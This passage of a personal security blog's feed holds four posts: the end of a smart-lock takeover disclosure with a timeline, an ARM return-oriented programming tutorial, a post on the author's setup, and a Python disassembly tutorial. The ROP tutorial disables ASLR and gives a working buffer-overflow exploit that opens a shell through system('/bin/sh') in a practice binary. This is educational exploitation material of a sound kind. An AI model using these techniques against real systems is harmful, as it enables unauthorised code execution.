<h2 id="that-s-it-the-scary-stuff">That&rsquo;s it! (&amp; the scary stuff)</h2>

<p>You should have the lock transferred to your account. The severity of this
issue lies in the fact that the original owner completely loses access to
their lock. They can&rsquo;t even &ldquo;rebind&rdquo; to get it back, since the current owner
(the attacker) needs to authorize that.</p>

<p>To add to that, roughly 15,000 user accounts&rsquo; info are exposed via IDOR.
Ilja, a cool dude I met on Telegram, noticed locks named &ldquo;carlock&rdquo;,
&ldquo;garage&rdquo;, &ldquo;MainDoor&rdquo;, etc.<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup> This is terrifying.</p>

<p><em>shudders</em></p>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p><a href="https://twitter.com/icyphox/status/1158396372778807296" rel="nofollow">PoC Video</a></p>

<p><a href="https://github.com/icyphox/pwnfb50" rel="nofollow">Exploit code</a></p>

<h2 id="disclosure-timeline">Disclosure timeline</h2>

<ul>
<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
<li><strong>2nd July, 2019</strong>: CVE-2019&ndash;13143 reserved</li>
<li>No response from vendor</li>
<li><strong>2nd August 2019</strong>: Public disclosure</li>
</ul>

<h2 id="lessons-learnt">Lessons learnt</h2>

<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You&rsquo;re better off with the &ldquo;dumb&rdquo; ones
with keys. With the IoT plague spreading, it brings in a large attack surface
to things that were otherwise &ldquo;unhackable&rdquo; (try hacking a &ldquo;dumb&rdquo; toaster).</p>

<p>The IoT security scene is rife with bugs from over 10 years ago, like
executable stack segments<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup>, hardcoded keys, and poor development
practices in general.</p>

<p>Our existing threat models and scenarios have to be updated to factor
in these new exploitation possibilities. This also broadens the playing
field for cyber warfare and mass surveillance campaigns.</p>

<h2 id="researcher-info">Researcher info</h2>

<p>This research was done at <a href="https://securelayer7.net" rel="nofollow">SecureLayer7</a>, Pune, IN by:</p>

<ul>
<li>Anirudh Oppiliappan (me)</li>
<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue" rel="nofollow">@_vologue</a>)</li>
<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc" rel="nofollow">@shubhamtc</a>)</li>
</ul>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/" rel="nofollow">This</a> article discusses a similar smart lock, but they broke the encryption. <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2">Thanks to Ilja Shaposhnikov (@drakylar). <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:3"><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf" rel="nofollow">PDF</a> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Return Oriented Programming on ARM (32-bit)</title>
|
||
<updated>2019-06-06T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-06-06:blog/rop-on-arm</id>
|
||
<link href="https://icyphox.sh/blog/rop-on-arm"></link>
|
||
<summary type="html"><h2>Making stack-based exploitation great again!</h2>
<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
assembly to follow along. I highly recommend
<a href="https://twitter.com/fox0x01" rel="nofollow">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/" rel="nofollow">ARM Assembly
Basics</a>. Once you’re
comfortable with it, proceed with the next bit&mdash;environment setup.</p>

<h2 id="setup">Setup</h2>

<p>Since we’re working with the ARM architecture, there are two options to go
forth with:</p>

<ol>
<li>Emulate&mdash;head over to <a href="https://www.qemu.org/download/" rel="nofollow">qemu.org/download</a> and install QEMU.
And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/" rel="nofollow">here</a>.
The scripts found inside should be self-explanatory.</li>
<li>Use actual ARM hardware, like an RPi.</li>
</ol>

<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
may use <code>radare2</code>, IDA or anything else, really. All of which can be
trivially installed.</p>

<p>And for the sake of simplicity, disable ASLR:</p>

<pre><code class="language-shell">$ echo 0 &gt; /proc/sys/kernel/randomize_va_space
</code></pre>

<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000" rel="nofollow">Billy Ellis’</a>
<a href="/static/files/roplevel2.c">roplevel2</a>.</p>

<p>Compile it:</p>

<pre><code class="language-sh">$ gcc roplevel2.c -o rop2
</code></pre>

<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>

<h2 id="a-primer-on-rop">A primer on ROP</h2>

<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
In essence, no code in the binary is actually modified and the entire exploit
is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>

<p>A gadget is essentially a small sequence of code (instructions), ending with
a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
there’s generally a call to <code>system()</code>, to acheive code execution.</p>

<p>In practice, the process of executing a ropchain is something like this:</p>

<ul>
<li>confirm the existence of a stack-based buffer overflow</li>
<li>identify the offset at which the instruction pointer gets overwritten</li>
<li>locate the addresses of the gadgets you wish to use</li>
<li>craft your input keeping in mind the stack’s layout, and chain the addresses
of your gadgets</li>
</ul>

<p><a href="https://twitter.com/LiveOverflow" rel="nofollow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;index=46&amp;t=0s" rel="nofollow">beautiful video</a> where he explains ROP using “weird machines”.
Check it out, it might be just what you needed for that “aha!” moment :)</p>

<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
that should put things into perspective.</p>

<h2 id="exploring-our-binary">Exploring our binary</h2>

<p>Start by running it, and entering any arbitrary string. On entering a fairly
large string, say, “A” × 20, we
see a segmentation fault occur.</p>

<p><img src="https://cdn.icyphox.sh/qrN69.png" alt="" /></p>

<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>

<p><img src="https://cdn.icyphox.sh/3j-MJ.png" alt="" /></p>

<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
<code>gadget</code>. Disassembling the <code>main</code> function:</p>

<p><img src="https://cdn.icyphox.sh/p2iFF.png" alt="" /></p>

<p>We see a buffer of 16 bytes being created (<code>sub	sp, sp, #16</code>), and some calls
to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
never actually called.</p>

<p>Disassembling the <code>gadget</code> function:</p>

<p><img src="https://cdn.icyphox.sh/1T8XT.png" alt="" /></p>

<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
instruction in the middle. This is a <strong>gadget</strong>.</p>

<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
are used for this. So this gadget effectively allows us to pass arguments to
functions using <code>r0</code>, and subsequently jumping to them by passing its address
in <code>pc</code>. Neat.</p>

<p>Moving on to the disassembly of the <code>winner</code> function:</p>

<p><img src="https://cdn.icyphox.sh/BDtJr.png" alt="" /></p>

<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
So our end goal here is to, quite obviously, execute code via the <code>system()</code>
function.</p>

<p>Now that we have an overview of what’s in the binary, let’s formulate a method
of exploitation by messing around with inputs.</p>

<h2 id="messing-around-with-inputs">Messing around with inputs :^)</h2>

<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
screenshot.</p>

<p><img src="https://cdn.icyphox.sh/7IDsI.png" alt="" /></p>

<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
the <code>pc</code> has been overwritten with our input.
So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>

<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>

<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
of the second instruction&mdash;<code>add r11, sp, #4</code>.
For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
the address of <code>winner</code>. Note the endianness.</p>

<pre><code class="language-shell">$ python -c 'print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)' | ./rop2
</code></pre>

<p><img src="https://cdn.icyphox.sh/A~RaT.png" alt="" /></p>

<p>The reason we don’t jump to the first instruction is because we want to control the stack
ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
those out after <code>winner</code> is done executing and we will no longer control
where it jumps to.</p>

<p>So that didn’t do much, just prints out a string “Nothing much here&hellip;”.
But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
to do what we want (run a command, execute a shell, etc.).</p>

<p>To do that, we’ll follow a multi-step process:</p>

<ol>
<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
<code>r0</code>.</li>
<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
</ol>

<p>The pseudo-code is something like this:</p>

<pre><code>string = AAAABBBBCCCCDDDDEEEE
gadget = # addr of gadget
binsh = # addr of /bin/sh
system = # addr of system()

print(string + gadget + binsh + system)
</code></pre>

<p>Clean and mean.</p>

<h2 id="the-exploit">The exploit</h2>

<p>To write the exploit, we’ll use Python and the absolute godsend of a library&mdash;<code>struct</code>.
It allows us to pack the bytes of addresses to the endianness of our choice.
It probably does a lot more, but who cares.</p>

<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>

<pre><code>(gdb) find &amp;system, +9999999, &quot;/bin/sh&quot;
</code></pre>

<p><img src="https://cdn.icyphox.sh/SiNzl.png" alt="" /></p>

<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
found from the disassmblies from earlier. Here’s the final exploit code:</p>

<pre><code class="language-python">import struct

binsh = struct.pack(&quot;I&quot;, 0xb6f85588)
string = &quot;AAAABBBBCCCCDDDDEEEE&quot;
gadget = struct.pack(&quot;I&quot;, 0x00010550)
system = struct.pack(&quot;I&quot;, 0x00010538)

print(string + gadget + binsh + system)

</code></pre>

<p>Honestly, not too far off from our pseudo-code :)</p>

<p>Let’s see it in action:</p>

<p><img src="https://cdn.icyphox.sh/9ob4r.png" alt="" /></p>

<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
when the pipe closes, since there’s no input coming in from STDIN.
To get around this, we use <code>cat(1)</code> which allows us to relay input through it
to the shell. Nifty trick.</p>

<h2 id="conclusion">Conclusion</h2>

<p>This was a fairly basic challenge, with everything laid out conveniently.
Actual ropchaining is a little more involved, with a lot more gadgets to be chained
to acheive code execution.</p>

<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>My setup</title>
|
||
<updated>2019-05-13T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-05-13:blog/my-setup</id>
|
||
<link href="https://icyphox.sh/blog/my-setup"></link>
|
||
<summary type="html"><h2>My daily drivers—hardware, software and workflow</h2>
<p><strong>Update</strong>: I now maintain a <a href="/uses">uses</a> page. This post is out of
date.</p>

<h2 id="hardware">Hardware</h2>

<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13" rel="nofollow">HP Envy 13
(2018)</a> (my model looks
a little different). It’s a 13” ultrabook, with an i5 8250u, 8 gigs of
RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does
everything I need it to.</p>

<p>For my phone, I use a <a href="https://www.oneplus.in/6t" rel="nofollow">OnePlus 6T</a>, running
stock <a href="https://www.oneplus.in/oxygenos" rel="nofollow">OxygenOS</a>. As of this writing,
its bootloader hasn’t been unlocked and nor has the device been rooted.
I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5" rel="nofollow">Nexus
5</a>, which I really wish Google
rebooted. It’s surprisingly still usable and runs Android Pie, although
the SIM slot is ruined and the battery backup is abysmal.</p>

<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/" rel="nofollow">Samsung Gear S3
Frontier</a>.
Tizen is definitely better than Android Wear.</p>

<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO" rel="nofollow">Dell
SK-8110</a>.
For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html" rel="nofollow">HP
m150</a>
gaming mouse. It’s the perfect size (and color).</p>

<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html" rel="nofollow">Bose SoundLink
II</a>.
Great pair of headphones, although the ear cups need replacing.</p>

<h2 id="and-the-software">And the software</h2>

<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io" rel="nofollow">elementary
OS</a>. I used to be an Arch Linux elitist, complete
with an esoteric window manager, all riced. I now use whatever
JustWorks™.</del></p>

<p><strong>Update</strong>: As of June 2019, I&rsquo;ve switched over to a vanilla Debian
9 Stretch install, running <a href="https://i3wm.org" rel="nofollow">i3</a> as my window manager.
If you want, you can dig through my configs at my
<a href="https://github.com/icyphox/dotfiles" rel="nofollow">dotfiles</a> repo.</p>

<p>Here’s a (riced) screenshot of my desktop.</p>

<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>

<p>Most of my work is done in either the browser, or the terminal. My shell
is pure <a href="http://www.zsh.org" rel="nofollow">zsh</a>, as in no plugin frameworks. It’s
customized using built-in zsh functions. Yes, you don’t actually need
a framework. It’s useless bloat. The prompt itself is generated using
a framework I built in <a href="https://nim-lang.org" rel="nofollow">Nim</a>&mdash;<a href="https://github.com/icyphox/nicy" rel="nofollow">nicy</a>. My primary text editor is
<a href="https://neovim.org" rel="nofollow">nvim</a>. Again, all configs in my dotfiles repo
linked above. I manage all my passwords using
<a href="https://passwordstore.org" rel="nofollow">pass(1)</a>, and I use
<a href="https://github.com/carnager/rofi-pass" rel="nofollow">rofi-pass</a> to access them via
<code>rofi</code>.</p>

<p>Most of my security tooling is typically run via a Kali Linux docker
container. This is convenient for many reasons, keeps your global
namespace clean and a single command to drop into a Kali shell.</p>

<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at
<a href="https://cdn.icyphox.sh" rel="nofollow">cdn.icyphox.sh</a>. The UI is the wonderful
<a href="https://github.com/zeit/serve" rel="nofollow">serve</a>, by <a href="https://zeit.co" rel="nofollow">ZEIT</a>. The
same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel
via SSH running on 443. Campus firewall woes.</p>

<p>I plan on converting my desktop back at home into a homeserver setup.
pSoon™.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Python for Reverse Engineering</title>
|
||
<updated>2019-02-08T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-02-08:blog/python-for-re-1</id>
|
||
<link href="https://icyphox.sh/blog/python-for-re-1"></link>
|
||
<summary type="html"><h2>Building your own disassembly tooling for — that’s right — fun and profit</h2>
<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>

<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>

<h2 id="setup">Setup</h2>

<p>As the title suggests, you’re going to need a Python 3 interpreter before
anything else. Once you’ve confirmed beyond reasonable doubt that you do,
in fact, have a Python 3 interpreter installed on your system, run</p>

<pre><code class="language-console">$ pip install capstone pyelftools
</code></pre>

<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>

<p>With that out of the way, let’s start with an example of a basic reversing
challenge.</p>

<pre><code class="language-c">/* chall.c */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

int main() {
 char *pw = malloc(9);
 pw[0] = 'a';
 for(int i = 1; i &lt;= 8; i++){
 pw[i] = pw[i - 1] + 1;
 }
 pw[9] = '\0';
 char *in = malloc(10);
 printf(&quot;password: &quot;);
 fgets(in, 10, stdin); // 'abcdefghi'
 if(strcmp(in, pw) == 0) {
 printf(&quot;haha yes!\n&quot;);
 }
 else {
 printf(&quot;nah dude\n&quot;);
 }
}
</code></pre>

<p>Compile it with GCC/Clang:</p>

<pre><code class="language-console">$ gcc chall.c -o chall.elf
</code></pre>

<h2 id="scripting">Scripting</h2>

<p>For starters, let’s look at the different sections present in the binary.</p>

<pre><code class="language-python"># sections.py

from elftools.elf.elffile import ELFFile

with open('./chall.elf', 'rb') as f:
 e = ELFFile(f)
 for section in e.iter_sections():
 print(hex(section['sh_addr']), section.name)
</code></pre>

<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>

<pre><code class="language-console">› python sections.py
0x238 .interp
0x254 .note.ABI-tag
0x274 .note.gnu.build-id
0x298 .gnu.hash
0x2c0 .dynsym
0x3e0 .dynstr
0x484 .gnu.version
0x4a0 .gnu.version_r
0x4c0 .rela.dyn
0x598 .rela.plt
0x610 .init
0x630 .plt
0x690 .plt.got
0x6a0 .text
0x8f4 .fini
0x900 .rodata
0x924 .eh_frame_hdr
0x960 .eh_frame
0x200d98 .init_array
0x200da0 .fini_array
0x200da8 .dynamic
0x200f98 .got
0x201000 .data
0x201010 .bss
0x0 .comment
0x0 .symtab
0x0 .strtab
0x0 .shstrtab
</code></pre>

<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>

<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>

<pre><code class="language-python"># disas1.py

from elftools.elf.elffile import ELFFile
from capstone import *

with open('./bin.elf', 'rb') as f:
 elf = ELFFile(f)
 code = elf.get_section_by_name('.text')
 ops = code.data()
 addr = code['sh_addr']
 md = Cs(CS_ARCH_X86, CS_MODE_64)
 for i in md.disasm(ops, addr): 
 print(f'0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}')
</code></pre>

<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>

<pre><code class="language-console">› python disas1.py | less 
0x6a0: xor ebp, ebp
0x6a2: mov r9, rdx
0x6a5: pop rsi
0x6a6: mov rdx, rsp
0x6a9: and rsp, 0xfffffffffffffff0
0x6ad: push rax
0x6ae: push rsp
0x6af: lea r8, [rip + 0x23a]
0x6b6: lea rcx, [rip + 0x1c3]
0x6bd: lea rdi, [rip + 0xe6]
**0x6c4: call qword ptr [rip + 0x200916]**
0x6ca: hlt
... snip ...
</code></pre>

<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>

<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html" rel="nofollow">linuxbase.org</a></p>

<blockquote>
<p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
</blockquote>

<p>To try and find these relocation entries, we write a third script.</p>

<pre><code class="language-python"># relocations.py

import sys
from elftools.elf.elffile import ELFFile
from elftools.elf.relocation import RelocationSection

with open('./chall.elf', 'rb') as f:
 e = ELFFile(f)
 for section in e.iter_sections():
 if isinstance(section, RelocationSection):
 print(f'{section.name}:')
 symbol_table = e.get_section(section['sh_link'])
 for relocation in section.iter_relocations():
 symbol = symbol_table.get_symbol(relocation['r_info_sym'])
 addr = hex(relocation['r_offset'])
 print(f'{symbol.name} {addr}')
</code></pre>

<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>

<pre><code class="language-console">› python relocations.py
.rela.dyn:
 0x200d98
 0x200da0
 0x201008
_ITM_deregisterTMCloneTable 0x200fd8
**__libc_start_main 0x200fe0**
__gmon_start__ 0x200fe8
_ITM_registerTMCloneTable 0x200ff0
__cxa_finalize 0x200ff8
stdin 0x201010
.rela.plt:
puts 0x200fb0
printf 0x200fb8
fgets 0x200fc0
strcmp 0x200fc8
malloc 0x200fd0
</code></pre>

<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib -- libc-start-main-.html" rel="nofollow">linuxbase.org</a></p>

<blockquote>
<p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
</blockquote>

<p>And its definition is like so</p>

<pre><code class="language-c">int __libc_start_main(int *(main) (int, char * *, char * *), 
int argc, char * * ubp_av, 
void (*init) (void), 
void (*fini) (void), 
void (*rtld_fini) (void), 
void (* stack_end));
</code></pre>

<p>Looking back at our disassembly</p>

<pre><code>0x6a0: xor ebp, ebp
0x6a2: mov r9, rdx
0x6a5: pop rsi
0x6a6: mov rdx, rsp
0x6a9: and rsp, 0xfffffffffffffff0
0x6ad: push rax
0x6ae: push rsp
0x6af: lea r8, [rip + 0x23a]
0x6b6: lea rcx, [rip + 0x1c3]
**0x6bd: lea rdi, [rip + 0xe6]**
0x6c4: call qword ptr [rip + 0x200916]
0x6ca: hlt
... snip ...
</code></pre>

<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>

<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>

<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>

<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>

<pre><code>printf 0x650
fgets 0x660
strcmp 0x670
malloc 0x680
</code></pre>

<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>

<pre><code>0x7b2: mov edi, 0xa ; 10
0x7b7: call 0x680 ; malloc
</code></pre>

<p>The loop to populate the <code>*pw</code> string</p>

<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
0x7d3: cdqe 
0x7d5: lea rdx, [rax - 1]
0x7d9: mov rax, qword ptr [rbp - 0x10]
0x7dd: add rax, rdx
0x7e0: movzx eax, byte ptr [rax]
0x7e3: lea ecx, [rax + 1]
0x7e6: mov eax, dword ptr [rbp - 0x14]
0x7e9: movsxd rdx, eax
0x7ec: mov rax, qword ptr [rbp - 0x10]
0x7f0: add rax, rdx
0x7f3: mov edx, ecx
0x7f5: mov byte ptr [rax], dl
0x7f7: add dword ptr [rbp - 0x14], 1
0x7fb: cmp dword ptr [rbp - 0x14], 8
0x7ff: jle 0x7d0
</code></pre>

<p>And this looks like our <code>strcmp()</code></p>

<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
0x847: mov rax, qword ptr [rbp - 8] ; *pw
0x84b: mov rsi, rdx 
0x84e: mov rdi, rax
0x851: call 0x670 ; strcmp 
0x856: test eax, eax ; is = 0? 
0x858: jne 0x868 ; no? jump to 0x868
0x85a: lea rdi, [rip + 0xae] ; &quot;haha yes!&quot; 
0x861: call 0x640 ; puts
0x866: jmp 0x874
0x868: lea rdi, [rip + 0xaa] ; &quot;nah dude&quot;
0x86f: call 0x640 ; puts 
</code></pre>

<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>

<p><strong>Update</strong>: It&rsquo;s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>

<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf" rel="nofollow">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>

<p>Ciao for now, and I’ll see ya in #2 of this series&mdash;PE binaries. Whenever that is.</p>
</summary>
|
||
</entry>
|
||
</feed> |